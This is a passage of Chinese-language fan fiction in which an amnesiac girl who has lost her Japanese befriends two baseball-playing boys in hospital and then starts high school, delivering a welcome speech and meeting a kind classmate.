《[失忆投捕]失忆了,顺便忘记了...》
1. 失忆了,顺便忘记了日语
我昏迷了。
原因是在过马路的时候被突然散开的鞋带绊倒、就在我准备起身的时候又被来不及刹车的计程车撞翻了。
听上去很不幸是吧,不幸中的万幸是我并没有飞出去很远,这得益于司机优秀的刹车水平,以至于我的身体没有受到不可逆的伤害。
至少在我醒来之前,医生的结论都是这样的。
我醒来了,眼前是陌生的天花板。
实际上陌生的远不止天花板,陌生的房间、陌生的窗景、陌生的医护人员、陌生的家人以及陌生的——
我。
我是谁?
我从哪里来?
我要去干嘛来着?
听到我的问题,有个不知道该说心大还是该说脑子指定有点啥毛病的女人,突然开始哈哈大笑,然后不顾医生的阻止拍着我的肩膀说了些什么。
但我只是一脸茫然地盯着她一张一合的嘴唇,再一脸茫然地看向无奈的医生和满脸黑线的护士。
“【你们...在说日语吗?】”
这下连那个女人也不笑了,满屋子的人像看着动物园里新来的大熊猫一样看着我。
真巧,我们还是老乡呢。
该死,现在不是该笑的时候。
“【怎、怎么突然不说话?难道这里真的是日本?】”
最终还是整间屋子里年纪最大、经历过最多风浪的老医生摸清了我的状况,他慢悠悠地开口:
“【你好。】”
“【你好。】”我愣声回应。
“【...】”
“【你该不会就会这一句吧?】”
“【...】”
“【就会一句‘你好’又有什么用啊?难道是想在年轻人面前装出一副很有学识的样子吗?够了!我好歹是个患者!比起自己的虚荣心多关心关心我不知道出了什么问题的脑子好吗?】
见我突然暴起,并叽里咕噜地吐出了一长串汉语、而那个看上去气定神闲的老医生只会用自己随手掏出来的手帕一遍又一遍擦拭着额头上的虚汗时,一位年长的护士突然凑到我的跟前,尝试和我交流:
“You can only speak chinese,right?”
“yes.Sorry,I literally can’t understand or speak your language.”
“OK.is there any other problem except language?”
“...I almost et everything.”
“这可真是太糟糕了。”(索内哇太亨)
诶?这一句我能听懂?
为什么?
之后,这位护士又用英语问了我更详细的问题,然后用日语跟旁边那个女人又说了几句后,将一些关于我的基本信息简单描述了一下。
抛开前面提到的那场导致我躺在这里的车祸外,我将这些信息总结为以下三点:
1.她说我是日本人,而不是中国人或者英语母语者,即便现在的我对日语完全就是一个瓦达西听不懂的状态,而后两者使用起来却毫无障碍——她也坚持这么说,还给我看了我的病历本,虽然我不知道我要说几次我不仅听不懂不会说并且完全看不懂你们的片假名!。
2.但我至少看懂了病历本主人的名字,也就是我——有我和诗,一个在中文语境下还怪有意思的名字,能玩一个可能会冷场的谐音梗,但因为我很害怕这样的场景所以这个梗还是先不说了。
3.有我和诗,国中毕业即将升入帝德高中,家中主要有母亲和外婆,父亲是中日混血,所以那个其实是我母亲的女人一听到我说的话就认出了是中文并且没有很惊讶。父亲和母亲已经离婚了,我目前跟着母亲一起生活,据传,我是个品学兼优,除了身体素质一般之外,全身上下都挑不出一丝毛病的好孩子。那所已经将我保送录取的高中也是有名的私立学校,而我则是因为在多门学科竞赛中取得了优秀成绩,并带领国中时期的辩论社团拿到了全国级别的优胜,在学生工作方面也表现突出等多重优势之下,才被国中校长推荐入学了她的母校帝德高校。
...
所以这三个序号的意义是...?
算了,接受吧,不要在荒谬的人生里寻找意义了,那是哲学家才会思考的问题。
总之,情况就是这样:我出了车祸,没缺胳膊少腿,但丢失了过去十几年的记忆,并且‘疑似’发生了身份认知障碍——
虽然我本人并不这么认为。
我仍然坚信我是一个土生土长的中国人,但不知道为什么现在变成了一名准日本JK。
我试图跟我那位看上去很开明的母亲探讨这个问题,比如我其实是灵魂穿越到了你女儿身上,但她无比笃定地告诉我说我就是她的女儿,不是因为这具身体,而是因为我的灵魂。
是吗?你确定你看到的不是翻译器的灵魂吗?
我默默看着她在手机上继续敲字。
这个问题先搁置到一边,现在最重要的问题是我离不开日本,但我对日语完全就是处于一个文盲的状态。
老天爷你这人也真是...我忍不住扶额苦笑。
让一个日本学生在开学之前丢掉日语,但是又精通隔壁国家的汉语并熟练掌握英语听说读写...
你想干嘛?你说说你想干嘛?你觉得自己很幽默是不是?
抱怨归抱怨,第二天我还是托妈妈带来了日语学习教材,准备在住院观察的这段时间努力自救一下。
然而她给我带的是早教卡片,按下去还会自动发声的那种。
我看着铺了一整床的卡片,说不出话,因为我确实连这上面的日语都认不全。
眼见着只有不到一个月就要开学了,我问她我能不能先请一段时间的假好好学学日语,至少到小学生的水平再去上课,这个要求真的很合理,毕竟我确实才刚从车祸造成的昏迷中醒过来,学校那边想必一定会理解的。
但她拒绝了我。
呵,还说我不是中国人。
这种只要还能动弹就要去学校的精神,试问世界上还有哪个国家的学生能做到!
唯一的区别就是,她希望我能努力和同学相处,如果比别人开学晚的话,就错过最佳交友时间了。
而且她还神秘兮兮地把手机递到我面前——
【虽然你可能不记得了,但你之前可是发誓要在这所男女混校的学校里交到男朋友、开启一场青涩且甜蜜的校园恋爱的女人哦!不要因为小小的语言问题就认输啊!】
哦对了,我之前读的是女校来着。
不对重点不是这个啊!
什么叫小小的语言问题?哪里小了?很大啊!超级大的啊!
连‘人话’都听不懂的我跟谁交朋友?归国子女吗?!
万一人家不会英语怎么办!
但纵使我有千万种不情愿,也改变不了已成定局的事实,所以为了让自己即将到来的高中生涯没那么文盲,我现在必须极速修炼自己的日语水平,尤其是在日常交流方面。
但学习一门语言,语言环境是相当重要的。我的确人在日本,可问题是除了下班以后来探望我的妈妈和每天打电话来关心我的外婆,我没有和其他日本人交流的机会。
医生护士有自己的工作,不可能陪着我练习口语,而我家也没有财力雄厚到给我找一个能到医院全程陪伴的日语老师。
但妈妈有自己的办法,因为她是一个无敌的女人——这是和她相处三天后的我得出的结论。
她想出来的办法是给隔壁病房的人送礼物,和他的妈妈交友并在她得空的时候帮忙照顾这位妈妈同样在住院的孩子——
作为交换,她希望她的孩子可以抽出一些时间和我说说话。
等那位母亲来到我的病房时,我礼貌地用刚学会的日语发出得体的问候,然后收到了饱含怜爱的同情目光。
...我妈没说什么奇怪的话吧。
她含着泪,抱了抱我。
没有吧?!
“我家圭酱呢,虽然也失忆了,但他还是能正常使用日语的,而且他也恢复地差不多了,在这段时间里请尽情使用他吧!”
“啊啦啦,那也太麻烦要君了,真是...我都不知道该怎么感激您了,唉,要不是和诗酱的情况实在是太...”
说着,我妈开始用手帕擦拭着她的眼角。
我没有说话。
不是因为我善。
是因为我知道这里没有人在意我想说什么和我说了什么。
也不是因为他们恶。
只是语言不通的人类之间,已经隔了一层可悲的厚障壁了。
第二天,我妈带着我,我带着她从外面买来的点心盒来到了隔壁病房。
那是一个黄色头发的男生,他正在啃食着一种名叫banana的黄色水果。
虽然听不懂他和我妈说了什么,但他似乎很会撒娇,哄得我妈声音都变细了——别误会,这是人类在见到可爱事物之后的正常反应。
然后我妈走了。
留我独自坐在黄毛的病床边,端着一盒点心,不知所措。
呃...先把礼物送出去吧。
于是我将装着各式巧克力和手作曲奇的盒子双手递到了他的面前。
“诶~原来是给我的吗?我还以为随身端着点心盒是和诗酱你的萌点呢。唔哇——”他一边叽里呱啦地冒出一堆我听不懂的音节,一边打开了点心盒“看起来超美味诶~谢谢你呀,和诗酱~”
最后那句感谢我听懂了,但我不知道日语的‘不客气’该怎么说,于是我选择用最简单的英语来表达感谢——
“You are wee.”
他愣了一秒。
不会没听懂吧?
就在我产生疑惑时,他突然伸出右手,同样开始用英语进行自我介绍:
“I am kaname kei,kaname kei 袜 袜累.”
该死的,我听懂他的日式英语了。
但日本人的名字对我来说稍微有点难记,所以我向他确认他的名字——
“kamena kei?”
“NO NO,follow me——”这次他放慢了语速“ka——na——me——”
“圭,你在干嘛?”
卡梅隆的名字教学被打断了,打断他的人是一个个子很高的男生,蓝毛M字刘海的发型让我想起许多位故人——
啊嘶——难道是记忆要恢复了?
我不自觉地用手扶住脑袋。
“和诗酱!你没事吧(呆胶布)?Are U OK?”
“I’m good.”我摆摆手,发现他突然靠近后,迅速后仰扯出了一个安全距离。
“圭,她是谁?”
这句我又听懂了。
然后卡梅隆跟蓝毛稀里哗啦地说了一长串话,我猜是在介绍我的情况。
但比起自己在他人口中的评价,我更在意的是蓝毛拿在手上的东西——
一根棒球棍。
哥们,你到底是来探病的还是来行凶的。
话说我现在跑还来得及吗?
“和诗酱~和诗酱~”
卡梅隆在叫我,要不要答应?
不...还是装作和他不认识比较好?
“..
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.怎么了(多西嘚)?”
但我作为一名品学兼优的准JK,怎么能在这种时候丢下我的口语老师不顾呢?
虽然他连自己的名字都没有教会我。
总之绝对不是我发呆走神所以下意识地就回答了。
只见卡梅隆像是放弃了什么一样,将手放在自己的胸前,掌心贴着胸椎的位置——
“kei.”
我点点头,表示自己记住了,毕竟如果连一个音节都记不住我就该去做脑部ct了。
随后,圭有像柜台展示员一样五指并拢,掌心向上地指向一脸呆比样的蓝毛——
“#%@!&%¥ ¥#%*&”
“【啥玩意】?”
这一串堪比六年级魔咒的念词直接给我吓出了母语,我甚至像那些送信的猫头鹰一样歪了歪头。
“This is haru酱.”
“haru酱。”我朝着蓝毛叫了一声。
“嗯。”
他还真敢答应。
看来这一定是他的名字了。
“呀...这样就不公平了嘛!和诗酱,你还是叫我圭酱吧!kei jiang!和小叶流一样。”圭一边说着自己的新名字,一边用拇指指向自己。
“圭酱。”我改口改得很快。
这一环节过去之后,圭酱和哈鲁酱发生了一点争执。
准确来说,是哈鲁酱想让圭酱坐在床上挥一挥棒球棍,就像他示范的那样,但圭酱怎么说都不肯接过那根被我误认为凶器的棍子,即使哈鲁酱几乎把它怼到了他的脸上。
而我之所以能理解眼前发生的事物,不是因为我的日语水平突飞猛进,而是哈鲁酱这个人的行为实在有些太好懂了,看他跟看纪录片动物世界没什么区别,还不需要解说。
圭酱则指着我说了些什么,我猜他应该是想用要教我说日语为借口来更好地拒绝哈鲁酱的棒球棍。
两人僵持了许久,久到我闲得发慌,想偷偷拿一块已经送出去的点心。
那个夹心巧克力味道不错呢。
“和诗酱?”
啊,被发现了。
我手里还拿着半块巧克力,另外半块已经被我一口咬下,含在了嘴里。
事已至此,我也只能...
嚼嚼嚼...
你说...
嚼嚼嚼...
巧克力这种东西...
嚼嚼嚼...
谁发明的呢...
嚼嚼嚼...
也许是我吃得太过专注,并露出了享受的表情,圭酱也拿起一块草莓果泥曲奇放进嘴里,哈鲁酱则毫不客气地捏走了唯一一块抹茶曲奇。
圭酱真的是一个好老师,当我和哈鲁酱已经完全沉溺于甜点的美味中时,他还没忘记我妈也许还有他妈委托给他的重任——
“delicious is 哦以西。”
“巧克力哦以西。”我学会了举一反三。
“很棒嘛和诗酱,学得很快哦。”
“五蚂蚁。”哈鲁酱一边吃一边重复着这三个音节。
“五蚂蚁 is delicious ,too!”
“巧克力曲奇五蚂蚁。”这个我也学得很快。
“哈哈哈,和诗酱你真的很喜欢巧克力呢~”
第一天的课程结束后,日语没学几个,巧克力倒是吃了个爽——
这简直太爽了。
接下来的日子里,我也会时不时去找圭酱练习我新学的词组和语句——靠他教还是太够呛了,还是把他当陪练比较好。
有时也是圭酱来单纯地找我玩,起初我不知道他为什么要这么做,毕竟和我交流真的很费劲,直到他向我展示了他的一发技。
他深吸一口气,双手准备就绪——
“paige~~~~~~~~~~~~~————————————!”
巧合的是,唯独这一天,哈鲁酱有事没来医院。
不巧的是,这个笑点完全戳不中我。
但是...
我懂你,因为我也喜欢玩抽象。
但比起这个,我果然还是更怕尴尬。
起初,我以为这是问好方面的抽象文化,所以我也张开十指,准备学着他的姿势放在胸前——
圭酱吓得一把抓住了我的双手,并跪在床上说‘sorry sorry i am 红豆泥 sorry’之类的话,我不知道他为什么道歉,因为我没有想嘲笑或者责备他,我只是单纯地不想让气氛变得过于尴尬。
但圭酱最终也没有解答我的疑惑,也没告诉我‘paige’到底是什么,只是让我一定不要在别人面前做他刚刚的那个动作,直到我点头答应他才放开我的手。
放手的时候,我看到了他的耳朵——
真的超级红。
虽然我不知道他在害羞些什么,但既然要搞抽象,第一步就要学会丢掉羞耻心,可惜在这个方面我也只是败犬一条,所以我没有经验可以传授给圭酱。
不过没关系,第二天我就发现哈鲁酱似乎很喜欢这个梗,场子并没有冷下来。
所以我把我对‘paige’的不感冒,归结给了语言和文化隔阂,并把这个结论告诉了圭酱。
但圭酱只是再次强调让我不要学他。
说实话我有点要生气了,我才不会偷学别人的梗,我也是很有搞笑sense的好吗。
可惜了,这里没有人懂我的幽默,而且这两个人好像真的拿我当呆瓜。
算了,不跟他两计较。
欢快的时光总是短暂,开学的日期正在一步步朝我们走来。
而我才知道这两人到现在都没确定要去哪所学校。
2. 失忆了顺便入学了帝德
圭酱先问了看上去似乎已经有了去处的我,我说我被推荐到帝德了,应该会去那上学。
我礼尚往来地把问题抛了回去。
“诶~我还没想过呢,最好是离家近一点,有可爱的女孩子,然后没有棒球!”
哈鲁酱明显是想说些什么但是被噎住了,不过他不打算放弃,他突然掐着我的咯吱窝把我从座位上抱了起来,像抱猫一样抱在圭酱的面前,而我左手拿着巧克力酱盒,右手拿着一根新的手指饼干,嘴里还含着一根。
一切发生得太快了,我甚至来不及生气,如果有人在乎我的反应的话,我应该会做出奶牛点头猫的同款表情——
huh?
但我没有,因为这两个人根本不在乎我的感受,他们只在乎自己,这两个冷漠无情的人,我这辈子都不会原谅你们!
“和诗,也很可爱。”哈鲁酱一板一眼地说到。
so?你想说什么?
你以为你这么说我就会高兴吗?
我百无聊赖地在空中蘸起了巧克力酱,把右手那根手指饼干也塞到了嘴里。
“叶流火!快放和诗下来!和诗你也好歹挣扎一下啊!”
和诗和叶流火是谁?
不知道,关我和诗酱和哈鲁酱什么事。
在我吃完第四根手指饼干的时候,哈鲁酱将我放回了原位,而我则像什么都没发生一样继续吃着我的手指饼干——
吃完了。
但我瞟到了圭酱放在病床旁边的芝士薯片,值得一提的是,虽然不及我对巧克力的衷情,但芝士我也蛮爱的。
“圭酱。”
和哈鲁酱吵到一半的圭酱停了下来,闻声看向我。
我意有所指地看了一眼他的那包薯片,然后‘毫无波动’地重新看向他:
“薯片...要吃吗?”我用的是刚学会的一句日语,虽然说得不太利索。
“...你吃吧。”
我听懂了,于是我开动了。
直到哈鲁酱离开,我也没弄懂他当时为什么要把我举起来。
算了,找个机会当面问本人吧。
最终,他们去了小手指,而我去了帝德。
也是听到这个消息的时候我才知道,当时哈鲁酱其实是出于‘诱饵展示’的目的将我举起来的,呃,这个人的思路有点难以用我质朴的语言直接描述,还是用流程图来看吧:
据哈鲁酱所说————
圭想去有可爱女孩子的学校——我是女孩子,而且可爱——只要把我拐去有棒球部的学校,圭自然也就愿意去了
好吧,也不是不能理解,毕竟哈鲁酱这个人,既想打棒球,又不愿意放弃跟圭酱一起打棒球的机会,而且在他看来,后者的优先级明显更高,所以也不怪他最后会想出这种匪夷所思的办法。
但是。
但是!
我就是什么很好搞定的人吗?!什么叫只要...
【只要我每天给和诗带好吃的零食,和诗就会答应。】
“每天?”
我怀疑地看了面不改色地摆出这句话的哈鲁酱一眼,并反问。
他继续面不改色地点头,狠狠点头。
糟糕,好心动...
“完全...错误。”
不,你完全做对了。
如果没有那个理由,我完完全全会被哈鲁酱用这样简单而粗暴的方式收买,但人生就是充满着各种各样的意外,我们每个人都在努力适应这一点——
尤其是被命运狠狠玩弄的我。
·
正式出院的时候,我们交换了联系方式,看着两人远去的背影,我又产生了‘如果我也去小手指的话’——这样的想法。
但我很快甩了甩头,把这个想法甩得一干二净。
不管我跟身体的主人到底是什么关系,既然我的意识寄宿在这里,就不能理索应当地舍弃前身的一切。
有我和诗会去帝德,是因为她很优秀,并且有人欣赏并认可了这种优秀,还有人为了让这种优秀去到它该去的地方付出了努力。
如果我临时毁约,会辜负很多人。
而且说实话,我也没有非要去小手指不可的理由,只是因为待在医院的这段时间,除了圭酱和哈鲁酱,我就只认识妈妈和外婆了,所以我其实也只是想跟亲近的人待在一起而已。
不过说到这个,我倒是有点好奇我之前到底是一个怎样的人。
既然妈妈说我和之前没差,那么正常来说,以我的性格——
应该不至于一个朋友都没有吧?
我看着仅有四人的通讯录,大受震撼。
诶——?
过去十几年没交到一个朋友吗?
难道是究极社恐的阴暗宅?
不对啊,不是又有竞赛,又有学生工作吗?
还有辩论,我记得辩论是团体活动来着?
到底是怎么做到的啊。
但很快,我就没余力去关心我的‘前世’了,因为作为半文盲的我,现在完全就是一个自身难保的状态。
开学第一天,走在路上听着周围人的谈话声,但除了问好就听不出什么实质性内容的我...
我真该死啊!
早知道就多学点日语了,都跟两个日本人一块玩了,还只知道在那边吃吃吃——
好歹多说几句话呀!
唯一值得庆幸的是,路上没碰见什么认识的人来找我搭话,嘛,这也是可以预见的嘛,毕竟是通讯录比没开封的A4纸还干净的人。
说起来,我还是第一次上日本学校,开学应该干什么?我完全没有头绪。
于是我只能跟随大部分人的脚步,去看了分班表,参照地图找到了自己的班级,最后找了个附近没人的地方坐下。
嗯...还是等学会基本的日语交流再交朋友吧。
不过也可以看看有没有留学生、交换生或者归国子女之类的。
抱着这样的期待,我身边的位置终于坐下了一个人——
黑发黑眼,坐姿端正,立领校服穿得一丝不苟,表情谦和。
一看就不说英语。
“国都君!没想到能和你一个班,真是太荣幸了!今后请多指教吧!”
“嗯,我也是,请多指教!”
完了,虽然没听懂他们说了什么,但这个人日语说的很好,估计也不说汉语了。
于是我收回了自己的注意力,手背撑着下巴,开始看向窗外。
也因此错过了他打完招呼后,投放过来的视线。
我看着楼下的人群,希望能找出一个能和我用同一种语言交流的人,同时也注意着身边坐下的人。
可惜的是,没有。
很快,班上的同学都到齐了,老师也适时走上了讲台,开始组织我们作自我介绍。
有提前准备的发言我倒是不怕,而且这段时间我对日语学习虽然不够上心,但基本的发音练习已经没有什么问题了,所以背一篇写好的稿子应该也——
“我是有我和诗,空水山女子中学出身,兴趣爱好是零食。开学前因为意外事件失去了日语读写能力,沟通时如有
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不便还请见谅。以上,请多指教。”
说完,我略有紧张地站在原地。
然后发现周遭一片寂静——
啊啊啊啊.....不要这样,不管是哄笑还是普通地鼓掌,总之不要陷入这种尴尬的沉默好吗....
难道这就是命运对在医院混吃等死的我降下的天罚——
有人鼓掌了。
我朝声音的源头看去,发现是那个第一个坐在我身边的位置、准确来说现在隔了一条走道坐在我右边的男生。
虽然不记得他的名字,但我真的很感激他,也很感动。
感动地快哭出来了。
很快,教室里就响起了热烈的掌声。
“有我同学,请坐下吧。在开学之前,有我同学经历了一场车祸,意外忘记了日语,但有我同学的中文和英语都很好哦,希望大家还是能和她多多交流,在大家的帮助下,说不定有我同学就能早日恢复。”
但事情到这里还没有结束,因为比起在教室里进行的这场自我介绍,我还面临着一场更艰难的战役。
所以在自己的环节结束,其他同学的发言间隙间,我开始争分夺秒地练习另一张明显长很多的发言稿。
说实话,我很是不理解校长所作的决定,为什么在知道我出现了那样的状况之后,还坚持把新生代表发言的重任交到我身上。现在的我,别说写一篇优秀的发言稿了,连一段读起来不拗口的日语对话都写不明白。但在我如实告知了以上情况后,对方还是表示不打算更换发言人。
“有我同学,你不是还会中文和英文吗?既然这样,你就用这两种语言写,再找会日语的人和你一起翻译出来。”
不得不说,这确实是一个办法。
虽然没有具体的记忆,但印象里,类似的文章应该是难不倒我的。
但具体是哪个‘我’...这就不清楚了。
“下面请新生代表发言——”
我走上礼堂之上的讲台,摊开准备好的演讲稿,缓缓读出了这篇经过了妈妈、外婆、圭酱、哈鲁酱、老医生、护士长等人阅读并修改的发言稿。
刚开始的时候,我能听见自己声音还是有些紧张,但我强逼着自己不去留意自己,只专注于眼前的纸稿。
渐渐地,我听不见自己的声音,也看不见眼前的纸稿,但我的认知里却依然维持着一个事实——‘没问题’。
不知过了多久,直到视线移向信纸的末尾,我才意识到已经快要结束了。
“以上,谢谢。”
一切结束的时候,我才重新找回属于自己的声音,虽然是以回声的形式,并且很快,礼堂内爆发的掌声就将我微不足道的声音盖了过去,但在校长肯定的眼神中,我确认了一件事,也是我唯一需要确定的一件事。
我没有搞砸。
这就够了。
在持续不断的掌声中,我深吸一口气,仿佛要把鼓励的声音当成氧气吸进肺里,以支撑着自己走完最后的流程。
拿上我的演讲稿后,我就走到了教师代表老师的身边,和大家一起听着校长做最后的发言,并唱校歌。
还好我也提前背了帝德校歌的歌词。
直到最后离场,走回到那个虽然只去过一次但已经算我在学校里的一个归处的教室,再在同学若有若无的议论和注视中走回座位的时候,我才算真的松了一口气。
啊啊啊做得好,真是太不容易了...我。
我含泪拆开一盒新巧克力,怒啃一大块。
...
怎么有人看着我?
3. 失忆了顺便碰上了好人
难道是教室里不让吃东西?
不会吧?中午不是还要在教室吃便当的吗?
为了搞清楚到底是谁在用无声的眼神发表令人不悦的意见,我毫不犹豫地转头看过去,发现又是——
...看在你给我解围的份上,我让让你。
于是我依依不舍地咽下这块还没来得及细细品味的巧克力,极力压抑着自己的不满,用我认为最礼貌的措辞问到:
“你...有事吗?”
但我很快就知道自己说错话了,因为周围人看我的眼神就好像我刚刚对着谁骂了句脏话一样。
这话很脏吗?但是哈鲁酱平时都是这么说的,耳濡目染之下,我也学会了这种表达方式。
记得在医院的时候,每次有小孩看到他在捏那个奇奇怪怪的握力锻炼器,他都是这么说...
等等。仔细想想,被他这样说过之后那些小孩好像——
都哭了。
...
...
...
哈鲁酱!!!!!!!!
都怪你 !!!!!!!!
如果思念有声,远在小手指的哈鲁酱一定能听到我此刻发出的尖锐爆鸣。
“对不起对不起!No matter what i said before,i don’t mean it!I don’t know it sounds so rude,i mean...”
“有我同学。”就在我打算继续说点什么的时候,他出声打断了我。
“嗨!”我不自觉地并住膝盖,双手也老老实实地放在膝上。
已老实。
“没关系(呆胶布)。”他说。
“谢、谢谢!(阿里嘎多)”
说实话,我也不知道自己当时在谢什么,但除了谢谢,我有限的日语词典里确实找不出相对合适的话了,顺带一提,我决定从这本词典里删掉所有哈鲁酱说过的话。
这小子,看着呆头呆脑的,说话风格居然这么狂妄。
“阿啾!”坐在教室里的清峰叶流火打了个喷嚏。
“感冒了吗?”山田太郎关心地询问到。
清风叶流火愣愣地摇了摇脑袋。
“啊这样...可能是有人想到清峰君了吧。”山田太郎松了一口气。
“不知道。”清峰叶流火如实说。
“说不定是和诗酱呢,不知道她那边进行地怎么样,应该没有被嘲笑吧?没有因为‘明明是个日本人却说什么英语汉语’之类的理由被排挤吧?!没有吧!还有发言...那张稿子可长了呢....”要圭越想越担心。
“和诗酱...听起来像女孩子的名字呢。”
“和诗就是女孩。”
“对吧对吧!应该不会有人欺负这么可爱的和诗酱吧!但是那孩子...就算被当面说了不好的话,估计自己都不知道吧。也不知道是好事还是坏事。”
山田太郎很惊讶,不仅是因为那个会对女生说‘你很麻烦’的清峰同学居然还有认识的女生,还因为那个明明嘴上说着很想跟女孩子谈恋爱、但跟女生说话就会紧张的要君,居然能这么自然地提起一个女生,而且完全没有任何不自在的反应。
这都让他对这位‘和诗酱’开始感到好奇。
另一边,帝德高校的教学楼内开始陆陆续续地传出讲课声。
第一节是国语课,完蛋,一个字都听不懂。
好在老师们对我的情况似乎都有所了解,所以在点人回答问题的时候,他一边用同情的眼神宽慰着我,一边大发慈悲地略过我。
第二节是英语课,完美,都能听懂。
而且我很感激这位老师没有把注意力都放在我身上,因为开学的这个上午,我已经收到了足够多的关注。
有些时候,被过度关注,是比刻意忽略还吓人的事情。
而能在这种境况下安然自处的人,绝非等闲之辈,只是怕冷场怕尴尬的我显然没能达到这种境界。
第三节是数学课,老师说回了日语,我又开始听不懂了。
而且我还被叫上了台。
就在我心如死灰的时候,老师递过来一根粉笔,再指了指黑板上用阿拉伯数字和代数组成的板书——
诶?不用说话?
再一看题——都会!
太好了,一边心怀感恩一边流畅地写完整道题的我步履轻快地走回了自己的位置。
老师没有改动我的板书,并且就着我的字迹说了一堆夹杂着代数字母的日语...我猜这说明我答对了,至于他的点评是夸奖还是批评,对我而言已经不重要了,因为老师——
瓦达西,听不懂思密达。
最后我还是只能在心里默默流泪,又开始后悔开学前没有好好学日语。
真是的...所有人都不看好我...
偏偏我也不争气。
终于,上午的课程宣告结束,我没有急着拿出便当,而是准备观察着其他人都准备怎么用餐,并且带着一丝侥幸等待一位心软的神邀请我共进午餐。
好吧,没人,大家都各找各的同伴。
只有我,这个文盲,是个孤家寡人。因为文盲所以跟同学说的唯一一句话都是错话,要不是因为好心的同学原谅了我,现在估计都要被当成没礼貌的人了吧。
唉...说不定已经是了。
就在我准备认命拿出便当,一个人坐在位置上眼泪拌饭的时候,一道熟悉的声音再次响起——
“有我同学?”
“嗨。”我抬头看去,果然是好心的黑毛。
我知道这个称呼不礼貌,但我也是真的没记住这个人的名字。
只知道是k开头的发音。
“午饭?”他试图用我能听懂的单词表达自己的意思。
唔哇....
妈妈,我遇见心软的神了。
当下,我真的以为他是出于同情,问我要不要一起用午餐,而这种意味不明的表达也被我当成了一种含蓄委婉的邀请方式。
但我后来才知道,他只是以为我没带便当,又怕我看不懂去餐厅的路才问我有没有办法解决午餐问题。
居然在不知情的情况下变成了超级自来熟!我有点羞愧难当。
不过当时的我听到自己此刻最想听的话,眼睛还是不受控制地微微瞪大,然后又忍不住弯成两条弧线,嘴角也不自觉地向两边扬起——
“嗯!”
他愣了一下,也没有再说什么,只是礼貌性地笑了笑。
...完全就是天使来的。
不知道是不是潜意识里还是害怕他会反悔,我迅速拿起便当盒,并在看到书包夹层里的手指饼干时,又多拿了一块。
拿上自己吃饭的家伙后,我乖乖站在一边,等待他的下一个指令。
说来惭愧,但他似乎也意识到了我没记住他的名字,所以他在路上的时候拿出手机,开始敲击着屏幕,然后把屏幕上的文字递到我的面前——
【国都英一郎】
“【国都英一郎】?”我下意识用汉语把这几个汉字念了出来。
而听到我说的话后,国都英一郎看上去似乎很是惊讶,但这种惊讶没有持续太久,他微笑着重新打字,上面是一段翻译过来的汉字——
【有我同学用汉语念我的名字的时候,发音听上去跟日语很像,几乎没有什么区别。】
“【真的吗】?”这句话我也下意识说成了汉语,虽然我不是不知道还有红豆泥这个又好吃又好记的
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词。
但他听懂了,所以他点了点头,然后他又像想到了什么似的,开始在手机上打出一段很长的话:
【有我同学如果更习惯说中文的话,请选择更自在的说话方式吧,我会努力去理解的,如果理解不了的话,还可以用翻译器。所以,不用勉强自己。】
我感觉自己的眼睛已经变成了蛋花状。
很多时候,人们说‘你是一个好人’,通常意味着他们能从你这得到从其他人那里得不到的好处,又或者是‘你是一个冤大头’‘你是一个幼稚的人’‘你是一个蠢人’之类更过分的潜台词。
但不知道为什么,此时此刻的我,真实地被这种‘好人’的光辉感化了。
要不是在刚认识的同学面前掉眼泪会把好不容易好起来的局面变尴尬,我真的要控制不住攒了一上午、又或者是更久的泪水了。
于是我低着头,轻轻抽了抽鼻子,拼命眨巴着眼睛,试图用睫毛把水滴从眼眶里吸走。
而为了转移国都英一郎的注意力,我想起了自己特意拿上的手指饼干,并把它递了过去。
“【给你】。”
可能是听出了我的语气里‘请求收下’的意思,国都英一郎只犹豫了一秒,就把饼干接了过去。
“谢谢你。”
我也笑着点了点头。
毕竟这句我还是能听懂的。
沉浸在开学第一天就交到了朋友的喜悦中的我,并没有注意到手机里新收到的消息,来自圭酱的消息。
国都英一郎带我去了学生餐厅,我带着便当盒坐在一张空桌上,等他端着午餐在对面坐下。
聊天过程中我知道了关于国都英一郎的一些事情,他说他是住校生、再加上要把时间留给训练的缘故,所以没有自己准备便当。
我问他是什么样的训练。
他说是棒球部的训练。
我说我有一个朋友也打棒球,顺便把他带着棒球棍去探病的事情也说了一遍。
但国都英一郎看上去有点担心,他问那个被‘探病’的人还好吗?我猜他也觉得正常人不会带一根球棍去探病。
听到我说一切都好后他微微皱起的眉头才舒展开来。
这家伙,估计是那种连路过的狗走路姿势不对劲都会关心的人。
而且他好像有些过于认真了,因此我收回了自己那句‘我还以为他是想用棒球棍来杀人灭口’的玩笑话,因为我能想象到说出这句话时场面会变得有多尴尬。
连日语都读不明白的我,已经能读懂日本的空气了。
用过午餐后,我感觉到一阵来势汹汹的困意正在向我发动突袭。
所以一回到教室,我就倒头趴在自己的课桌上大睡特睡,甚至忘记了我那块吃了一半的巧克力还握在手里。
好在早春的天气还算不上炎热,所以当我醒来的时候,手里的巧克力还没有融化,我顺手就把它塞到了嘴里。
所以你说...
嚼嚼嚼...
巧克力这种小东西...
嚼嚼嚼...
怎么就这么好吃呢...
嚼嚼嚼...
我有察觉到有人在看我,但这次我学乖了,没有再贸然出言不逊,而是镇定地转头。
原来是国都啊。
看他的反应,应该没有什么特别的事,而且对于朋友,我一直有着很高的容忍度,仍然活在这个世界上的哈鲁酱就是最有效的证明。
所以我只是向他点了点头,表示自己没有意见,然后继续专心品尝那最后一小块巧克力。
有一个好消息,和一个坏消息。
好消息是考虑到要给社团参观和招新留出时间,所以下午只有一节体育课。
坏消息,那可是体育课。
4. 我失忆了顺便遇见了旧相识
不知道为什么,虽然没有上体育课的记忆,但我对这门课程有着天然的恐惧。
拜托,这可是过去那个堪称‘十项全能’的有我和诗都搞不定的东西。
开学第一节体育课的上课地点是在室外,准确来说,是在一片被铁丝网围起来的开阔场地。
托哈鲁酱的福,当看见体育老师推出来的那一车眼熟的体育器材时,我瞬间明白了这个看上去老实巴交的男人想给我们上什么课。
在分组之前,他先让我们坐在地上,然后介绍起了基本的棒球规则。
好痒,好像要长脑子了。
开玩笑的。
事实上我不是听不懂规则,而是根本连他说的一个字都没听懂,只能偶尔捕捉到几个耳熟的英文单词,比如‘pitcher’‘catcher’之类的。
坐在我旁边的国都英一郎似乎正在替我担心着这个问题,但他是个乖孩子,不会在课堂上使用手机,而且我猜他大概率也是没有带出教室的。面对他担忧的眼神,我摇了摇头,表示自己没问题——
“呆胶布。”
虽然我也不知道这个词能不能这样用。
还没等他回答我,体育老师就把他叫出了队列,被一起叫上去的还有那个早上跟他打过招呼的人,另外还有举几个举手的男生和女生。
穿戴好各自的护具、拿上装备后,几人站上了练习场地。
